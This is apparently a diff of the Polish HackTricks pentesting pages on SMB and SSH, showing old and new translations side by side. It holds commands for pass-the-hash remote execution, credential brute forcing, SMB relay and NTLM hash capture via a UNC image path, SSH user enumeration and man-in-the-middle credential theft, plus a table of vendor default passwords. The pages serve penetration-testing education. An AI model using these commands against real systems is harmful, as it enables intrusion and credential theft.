| `logon script = script.sh` | Jaki skrypt ma być uruchomiony przy logowaniu użytkownika? | | `logon script = script.sh` | Jaki skrypt musi być uruchomiony przy logowaniu użytkownika? |
| `magic script = script.sh` | Jaki skrypt powinien być uruchomiony, gdy skrypt zostanie zamknięty?| | `magic script = script.sh` | Który skrypt powinien zostać uruchomiony po zamknięciu skryptu? |
| `magic output = script.out`| Gdzie należy zapisać wyjście magicznego skryptu? | | `magic output = script.out` | Gdzie należy przechowywać wyjście magic script? |
Polecenie `smbstatus` daje informacje o **serwerze** oraz o **tym, kto jest połączony**. Polecenie `smbstatus` daje informacje o **serwerze** i o tym, **kto jest połączony**.
## Uwierzytelnianie przy użyciu Kerberos ## Authenticate using Kerberos
Możesz **uwierzytelnić się** w **Kerberos** używając narzędzi **smbclient** i **rpcclient**: Możesz **uwierzytelnić się** w **Kerberos** przy użyciu narzędzi **smbclient** i **rpcclient**:
```bash ```bash
smbclient --kerberos //ws01win10.domain.com/C$ smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com rpcclient -k ws01win10.domain.com
``` ```
W środowiskach opartych wyłącznie na Kerberos (NTLM wyłączone), próby NTLM wobec SMB mogą zwrócić `STATUS_NOT_SUPPORTED`. Napraw typowe problemy z Kerberos i wymuś Kerberos auth:
```bash
# sync clock to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# use Kerberos with tooling (reads your TGT from ccache)
netexec smb <dc.fqdn> -k
```
Aby w pełni skonfigurować klienta (generowanie krb5.conf, kinit, uwagi dotyczące SSH GSSAPI/SPN), zobacz:
{{#ref}}
../pentesting-kerberos-88/README.md
{{#endref}}
## **Wykonywanie poleceń** ## **Wykonywanie poleceń**
### **crackmapexec** ### **crackmapexec**
crackmapexec może wykonywać polecenia **wykorzystując** dowolne z **mmcexec, smbexec, atexec, wmiexec**, przy czym **wmiexec** jest metodą **domyślną**. Możesz wskazać, której opcji chcesz użyć, za pomocą parametru `--exec-method`: crackmapexec może wykonywać polecenia **wykorzystując** dowolną z opcji **mmcexec, smbexec, atexec, wmiexec**, gdzie **wmiexec** jest metodą **domyślną**. Możesz wskazać, której opcji chcesz użyć za pomocą parametru `--exec-method`:
```bash ```bash
apt-get install crackmapexec apt-get install crackmapexec
@ -380,9 +393,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
``` ```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
Obie opcje **utworzą nową usługę** (używając _\pipe\svcctl_ przez SMB) na maszynie ofiary i użyją jej do **uruchomienia czegoś** (**psexec** **wgra** plik wykonywalny na ADMIN$ share, a **smbexec** wskaże **cmd.exe/powershell.exe** i umieści w argumentach payload --**file-less technique-**-).\ Obie opcje **utworzą nową usługę** (używając _\pipe\svcctl_ przez SMB) na maszynie ofiary i wykorzystają ją do **wykonania czegoś** (**psexec** będzie **upload**ować plik wykonywalny na udział ADMIN$, a **smbexec** wskaże na **cmd.exe/powershell.exe** i umieści w argumentach payload — **file-less technique**).\
**Więcej informacji** o [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)and [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ **Więcej informacji** o [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md) i [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/ W **kali** znajduje się pod /usr/share/doc/python3-impacket/examples/
```bash ```bash
#If no password is provided, it will be prompted #If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address> ./psexec.py [[domain/]username[:password]@]<targetName or address>
@ -394,7 +407,7 @@ Używając **parametru**`-k` możesz uwierzytelnić się przy użyciu **kerberos
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
Umożliwia dyskretne uruchomienie powłoki poleceń bez zapisu na dysku ani uruchamiania nowej usługi, używając DCOM przez **port 135.**\ Wykonaj dyskretnie powłokę poleceń bez zapisu na dysku ani uruchamiania nowej usługi, używając DCOM przez **port 135.**\
W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/ W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
```bash ```bash
#If no password is provided, it will be prompted #If no password is provided, it will be prompted
@ -402,7 +415,7 @@ W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
``` ```
Używając **parameter**`-k` możesz uwierzytelnić się przy użyciu **kerberos** zamiast **NTLM** Używając **parametru**`-k` możesz uwierzytelnić się przy użyciu **kerberos** zamiast **NTLM**
```bash ```bash
#If no password is provided, it will be prompted #If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address> ./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -411,17 +424,17 @@ Używając **parameter**`-k` możesz uwierzytelnić się przy użyciu **kerberos
``` ```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md) ### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
Wykonywanie poleceń za pomocą Task Scheduler (używając _\pipe\atsvc_ przez SMB).\ Wykonaj polecenia za pomocą Task Scheduler (używając _\pipe\atsvc_ przez SMB).\
W systemie **kali** znajduje się w /usr/share/doc/python3-impacket/examples/ W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
```bash ```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command" ./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami" ./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
``` ```
## Referencje Impacket ## Odniesienie do Impacket
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
### Powierzchnia ataku ksmbd i fuzzing protokołu SMB2/SMB3 (syzkaller) ### Powierzchnia ataku ksmbd oraz fuzzing protokołu SMB2/SMB3 (syzkaller)
{{#ref}} {{#ref}}
ksmbd-attack-surface-and-fuzzing-syzkaller.md ksmbd-attack-surface-and-fuzzing-syzkaller.md
@ -429,28 +442,28 @@ ksmbd-attack-surface-and-fuzzing-syzkaller.md
## **Bruteforce users credentials** ## **Bruteforce users credentials**
**Nie jest to zalecane — możesz zablokować konto, jeśli przekroczysz maksymalną dozwoloną liczbę prób** **To nie jest zalecane — możesz zablokować konto, jeśli przekroczysz maksymalną dozwoloną liczbę prób**
```bash ```bash
nmap --script smb-brute -p 445 <IP> nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
``` ```
## SMB relay attack ## SMB relay attack
Ten atak używa Responder toolkit do **przechwytywania sesji uwierzytelniania SMB** w sieci wewnętrznej i **przekazywania** ich do **maszyny docelowej**. Jeśli sesja uwierzytelniania **zakończy się powodzeniem**, automatycznie przeniesie Cię do **system** **shell**.\ Ten atak wykorzystuje Responder toolkit do **przechwycenia sesji uwierzytelniania SMB** w sieci wewnętrznej i **przekazuje** je do **maszyny docelowej**. Jeśli **sesja uwierzytelniania** zakończy się powodzeniem, automatycznie da Ci dostęp do **systemowego** **shell**.\
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) [**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap ## SMB-Trap
Biblioteka Windows URLMon.dll automatycznie próbuje uwierzytelnić się do hosta, gdy strona próbuje uzyskać dostęp do zasobu przez SMB, na przykład: `img src="\\10.10.10.10\path\image.jpg"` Biblioteka Windows URLMon.dll automatycznie próbuje się uwierzytelnić na hoście, gdy strona próbuje uzyskać dostęp do treści przez SMB, na przykład: `img src="\\10.10.10.10\path\image.jpg"`
To dzieje się przy użyciu następujących funkcji: This happens with the functions:
- URLDownloadToFile - URLDownloadToFile
- URLDownloadToCache - URLDownloadToCache
- URLOpenStream - URLOpenStream
- URLOpenBlockingStream - URLOpenBlockingStream
Które są używane przez niektóre przeglądarki i narzędzia (takie jak Skype) Które są używane przez niektóre przeglądarki i narzędzia (np. Skype)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) ![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
@ -460,7 +473,7 @@ Które są używane przez niektóre przeglądarki i narzędzia (takie jak Skype)
## NTLM Theft ## NTLM Theft
Podobnie jak w przypadku SMB Trapping, podstawienie złośliwych plików na systemie docelowym (np. przez SMB) może wywołać próbę uwierzytelnienia SMB, co pozwala na przechwycenie hashu NetNTLMv2 za pomocą narzędzia takiego jak Responder. Hash może być następnie złamany offline lub użyty w [SMB relay attack](#smb-relay-attack). Podobnie jak SMB Trapping, umieszczenie złośliwych plików na systemie docelowym (np. przez SMB) może wywołać próbę uwierzytelnienia SMB, co pozwala przechwycić hash NetNTLMv2 za pomocą narzędzia takiego jak Responder. Następnie hash można złamać offline lub użyć go w [SMB relay attack](#smb-relay-attack).
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) [See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
@ -497,8 +510,8 @@ getArch.py -target {IP}
With Creds With Creds
smbmap -H {IP} -u {Username} -p {Password} smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash` smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
@ -533,4 +546,10 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit' Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
``` ```
## Referencje
- [NetExec (CME) wiki użycie Kerberosa](https://www.netexec.wiki/)
- [Pentesting Kerberos (88) konfiguracja klienta i rozwiązywanie problemów](../pentesting-kerberos-88/README.md)
- [0xdf HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,9 +2,9 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Podstawowe informacje ## Basic Information
**SSH (Secure Shell lub Secure Socket Shell)** to protokół sieciowy, który umożliwia bezpieczne połączenie z komputerem przez niezabezpieczoną sieć. Jest niezbędny do utrzymania poufności i integralności danych podczas uzyskiwania dostępu do zdalnych systemów. **SSH (Secure Shell or Secure Socket Shell)** to protokół sieciowy, który umożliwia bezpieczne połączenie z komputerem przez niechronioną sieć. Jest niezbędny do zachowania poufności i integralności danych podczas uzyskiwania dostępu do systemów zdalnych.
**Domyślny port:** 22 **Domyślny port:** 22
``` ```
@ -12,42 +12,42 @@
``` ```
**Serwery SSH:** **Serwery SSH:**
- [openSSH](http://www.openssh.org) OpenBSD SSH, dostarczany w systemach BSD, dystrybucjach Linux i Windows od Windows 10 - [openSSH](http://www.openssh.org) OpenBSD SSH, dostarczany w BSD, dystrybucjach Linuksa oraz Windows od Windows 10
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) implementacja SSH dla środowisk z ograniczonymi zasobami pamięci i procesora, dostarczana w OpenWrt - [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) implementacja SSH dla środowisk o ograniczonej pamięci i mocy procesora, dostarczana w OpenWrt
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) implementacja SSH dla Windows, klient jest powszechnie używany, ale użycie serwera jest rzadsze - [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) implementacja SSH dla Windows; klient jest powszechnie używany, natomiast użycie serwera jest rzadsze
- [CopSSH](https://www.itefix.net/copssh) implementacja OpenSSH dla Windows - [CopSSH](https://www.itefix.net/copssh) implementacja OpenSSH dla Windows
**Biblioteki SSH (implementujące stronę serwera):** **Biblioteki SSH (implementujące część serwerową):**
- [libssh](https://www.libssh.org) wieloplatformowa biblioteka C implementująca protokół SSHv2 z powiązaniami w [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) i [R](https://github.com/ropensci/ssh); jest używana przez KDE do sftp i przez GitHub do infrastruktury git SSH - [libssh](https://www.libssh.org) wieloplatformowa biblioteka w C implementująca protokół SSHv2 z bindingami w [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) i [R](https://github.com/ropensci/ssh); jest używana przez KDE do sftp oraz przez GitHub w infrastrukturze git SSH
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) biblioteka serwera SSHv2 napisana w ANSI C, skierowana do środowisk wbudowanych, RTOS i z ograniczonymi zasobami - [wolfSSH](https://www.wolfssl.com/products/wolfssh/) biblioteka serwerowa SSHv2 napisana w ANSI C, przeznaczona dla systemów embedded, RTOS i środowisk o ograniczonych zasobach
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) biblioteka Apache SSHD w języku Java oparta na Apache MINA - [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) biblioteka Apache SSHD w Java oparta na Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) biblioteka protokołu SSHv2 w Pythonie - [paramiko](https://github.com/paramiko/paramiko) biblioteka protokołu SSHv2 dla Pythona
## Enumeracja ## Enumeration
### Zbieranie banerów ### Banner Grabbing
```bash ```bash
nc -vn <IP> 22 nc -vn <IP> 22
``` ```
### Automatyczny audyt ssh ### Automatyczne ssh-audit
ssh-audit to narzędzie do audytowania konfiguracji serwera i klienta ssh. ssh-audit to narzędzie do audytu konfiguracji serwera i klienta ssh.
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) to zaktualizowany fork z [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) [https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) to zaktualizowany fork z [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
**Funkcje:** **Funkcje:**
- Obsługa protokołu SSH1 i SSH2; - Obsługa serwera protokołu SSH1 i SSH2;
- analiza konfiguracji klienta SSH; - analiza konfiguracji klienta SSH;
- pobieranie banera, rozpoznawanie urządzenia lub oprogramowania oraz systemu operacyjnego, wykrywanie kompresji; - pobiera banner, rozpoznaje urządzenie lub oprogramowanie i system operacyjny, wykrywa kompresję;
- zbieranie algorytmów wymiany kluczy, kluczy hosta, szyfrowania i kodów uwierzytelniających wiadomości; - zbiera algorytmy key-exchange, host-key, encryption i message authentication code;
- wyjście informacji o algorytmach (dostępne od, usunięte/wyłączone, niebezpieczne/słabe/legacy itp.); - wyświetla informacje o algorytmach (available since, removed/disabled, unsafe/weak/legacy, etc);
- wyjście rekomendacji dotyczących algorytmów (dodaj lub usuń na podstawie rozpoznanej wersji oprogramowania); - wyświetla rekomendacje dotyczące algorytmów (append or remove based on recognized software version);
- wyjście informacji o bezpieczeństwie (powiązane problemy, przypisane listy CVE itp.); - wyświetla informacje o bezpieczeństwie (related issues, assigned CVE list, etc);
- analiza zgodności wersji SSH na podstawie informacji o algorytmach; - analizuje kompatybilność wersji SSH na podstawie informacji o algorytmach;
- informacje historyczne z OpenSSH, Dropbear SSH i libssh; - informacje historyczne z OpenSSH, Dropbear SSH i libssh;
- działa na systemach Linux i Windows; - działa na Linux i Windows;
- brak zależności - brak zależności
```bash ```bash
usage: ssh-audit.py [-1246pbcnjvlt] <host> usage: ssh-audit.py [-1246pbcnjvlt] <host>
@ -69,17 +69,17 @@ use -t to change timeout)
(default: 5) (default: 5)
$ python3 ssh-audit <IP> $ python3 ssh-audit <IP>
``` ```
[Zobacz to w akcji (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp) [See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
### Publiczny klucz SSH serwera ### Publiczny klucz SSH serwera
```bash ```bash
ssh-keyscan -t rsa <IP> -p <PORT> ssh-keyscan -t rsa <IP> -p <PORT>
``` ```
### Słabe algorytmy szyfrowania ### Słabe algorytmy szyfrujące
To jest domyślnie wykrywane przez **nmap**. Możesz również użyć **sslcan** lub **sslyze**. Jest to wykrywane domyślnie przez **nmap**. Możesz też użyć **sslcan** lub **sslyze**.
### Skrypty Nmap ### Nmap scripts
```bash ```bash
nmap -p22 <ip> -sC # Send default nmap scripts for SSH nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version nmap -p22 <ip> -sV # Retrieve version
@ -91,116 +91,135 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
- `ssh` - `ssh`
## Bruteforce'owanie nazw użytkowników, haseł i kluczy prywatnych ## Brute force usernames, passwords and private keys
### Enumeracja nazw użytkowników ### Username Enumeration
W niektórych wersjach OpenSSH możesz przeprowadzić atak czasowy, aby enumerować użytkowników. Możesz użyć modułu metasploit, aby to wykorzystać: W niektórych wersjach OpenSSH można przeprowadzić timing attack w celu enumerate users. Można użyć modułu metasploit, aby to wykorzystać:
``` ```
msf> use scanner/ssh/ssh_enumusers msf> use scanner/ssh/ssh_enumusers
``` ```
### [Brute force](../generic-hacking/brute-force.md#ssh) ### [Brute force](../generic-hacking/brute-force.md#ssh)
Niektóre powszechne dane logowania ssh [tutaj](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) i [tutaj](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) oraz poniżej. Kilka powszechnych poświadczeń ssh [here ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) i [here](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) oraz poniżej.
### Atak Brute Force na Klucz Prywatny ### Private Key Brute Force
Jeśli znasz jakieś klucze prywatne ssh, które mogą być użyte... spróbujmy. Możesz użyć skryptu nmap: Jeśli znasz jakieś ssh private keys, które mogłyby zostać użyte... spróbujmy. Możesz użyć skryptu nmap:
``` ```
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
``` ```
Lub moduł pomocniczy MSF: Lub MSF auxiliary module:
``` ```
msf> use scanner/ssh/ssh_identify_pubkeys msf> use scanner/ssh/ssh_identify_pubkeys
``` ```
Or use `ssh-keybrute.py` (native python3, lightweight and has legacy algorithms enabled): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Albo użyj `ssh-keybrute.py` (natywne python3, lekkie i z włączonymi starszymi algorytmami): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
#### Znane złe klucze można znaleźć tutaj: #### Znane badkeys można znaleźć tutaj:
{{#ref}} {{#ref}}
https://github.com/rapid7/ssh-badkeys/tree/master/authorized https://github.com/rapid7/ssh-badkeys/tree/master/authorized
{{#endref}} {{#endref}}
#### Słabe klucze SSH / Przewidywalny PRNG w Debianie #### Słabe klucze SSH / przewidywalny PRNG Debiana
Niektóre systemy mają znane wady w losowym ziarnie używanym do generowania materiału kryptograficznego. Może to prowadzić do dramatycznie zmniejszonej przestrzeni kluczy, która może być złamana metodą brute force. Wstępnie wygenerowane zestawy kluczy wygenerowane na systemach Debian dotkniętych słabym PRNG są dostępne tutaj: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). Niektóre systemy mają znane błędy w ziarnie losowym używanym do generowania materiału kryptograficznego. Może to skutkować znacznym zmniejszeniem przestrzeni kluczy, którą można złamać metodą brute-force. Wstępnie wygenerowane zestawy kluczy pochodzących z systemów Debian dotkniętych słabym PRNG są dostępne tutaj: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Powinieneś poszukać tutaj, aby znaleźć ważne klucze dla maszyny ofiary. Zajrzyj tutaj, aby wyszukać poprawne klucze dla maszyny ofiary.
### Kerberos ### Kerberos / GSSAPI SSO
**crackmapexec** używając protokołu `ssh` może używać opcji `--kerberos`, aby **uwierzytelnić się za pomocą Kerberos**.\ Jeśli docelowy serwer SSH obsługuje GSSAPI (np. Windows OpenSSH na domain controller), możesz uwierzytelnić się przy użyciu swojego Kerberos TGT zamiast hasła.
Aby uzyskać więcej informacji, uruchom `crackmapexec ssh --help`.
Przebieg na hoście atakującego z systemem Linux:
```bash
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 3) Obtain a TGT for the user
kinit <user>
klist
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
```
Notes:
- Jeśli połączysz się pod błędną nazwą (np. krótką nazwą hosta, aliasem lub w złej kolejności w `/etc/hosts`), możesz otrzymać: "Server not found in Kerberos database", ponieważ SPN nie pasuje.
- `crackmapexec ssh --kerberos` może również użyć twojego ccache do uwierzytelniania Kerberos.
## Domyślne dane logowania ## Domyślne dane logowania
| **Dostawca** | **Nazwy użytkowników** | **Hasła** | | **Vendor** | **Usernames** | **Passwords** |
| ------------ | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc | | APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne | | Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme | | Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler | | Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user | | D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin | | Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc | | EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin | | HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 | | Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer | | IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen | | Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 | | NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle | | Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default | | VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
## SSH-MitM ## SSH-MitM
Jeśli jesteś w lokalnej sieci jako ofiara, która zamierza połączyć się z serwerem SSH używając nazwy użytkownika i hasła, możesz spróbować **przeprowadzić atak MitM, aby ukraść te dane logowania:** Jeśli znajdujesz się w lokalnej sieci razem z ofiarą, która ma się połączyć z serwerem SSH używając nazwy użytkownika i hasła, możesz spróbować **wykonać atak MitM w celu przechwycenia tych poświadczeń:**
**Ścieżka ataku:** **Ścieżka ataku:**
- **Przekierowanie ruchu:** Napastnik **przekierowuje** ruch ofiary na swoją maszynę, skutecznie **przechwytując** próbę połączenia z serwerem SSH. - **Przekierowanie ruchu:** Atakujący **przekierowuje** ruch ofiary na swoją maszynę, skutecznie **przechwytując** próbę połączenia z serwerem SSH.
- **Przechwytywanie i rejestrowanie:** Maszyna napastnika działa jako **proxy**, **przechwytując** dane logowania użytkownika, udając, że jest legalnym serwerem SSH. - **Przechwytywanie i logowanie:** Maszyna atakującego działa jako **proxy**, **rejestrując** dane logowania użytkownika poprzez podszywanie się pod prawdziwy serwer SSH.
- **Wykonywanie poleceń i przekazywanie:** Na koniec serwer napastnika **rejestruje dane logowania użytkownika**, **przekazuje polecenia** do prawdziwego serwera SSH, **wykonuje** je i **wysyła wyniki z powrotem** do użytkownika, sprawiając, że proces wydaje się płynny i legalny. - **Wykonywanie poleceń i relaying:** Na koniec serwer atakującego **zapisuje poświadczenia użytkownika**, **przekazuje polecenia** do prawdziwego serwera SSH, **wykonuje** je i **odsyła wyniki** z powrotem do użytkownika, sprawiając, że proces wygląda płynnie i legalnie.
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) robi dokładnie to, co opisano powyżej. [**SSH MITM**](https://github.com/jtesta/ssh-mitm) robi dokładnie to, co opisano powyżej.
Aby przechwycić i przeprowadzić rzeczywisty MitM, możesz użyć technik takich jak ARP spoofing, DNS spoofing lub innych opisanych w [**Atakach na spoofing w sieci**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing). Aby przeprowadzić rzeczywisty MitM, możesz użyć technik takich jak ARP spoofing, DNS spoofin lub innych opisanych w [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
## SSH-Snake ## SSH-Snake
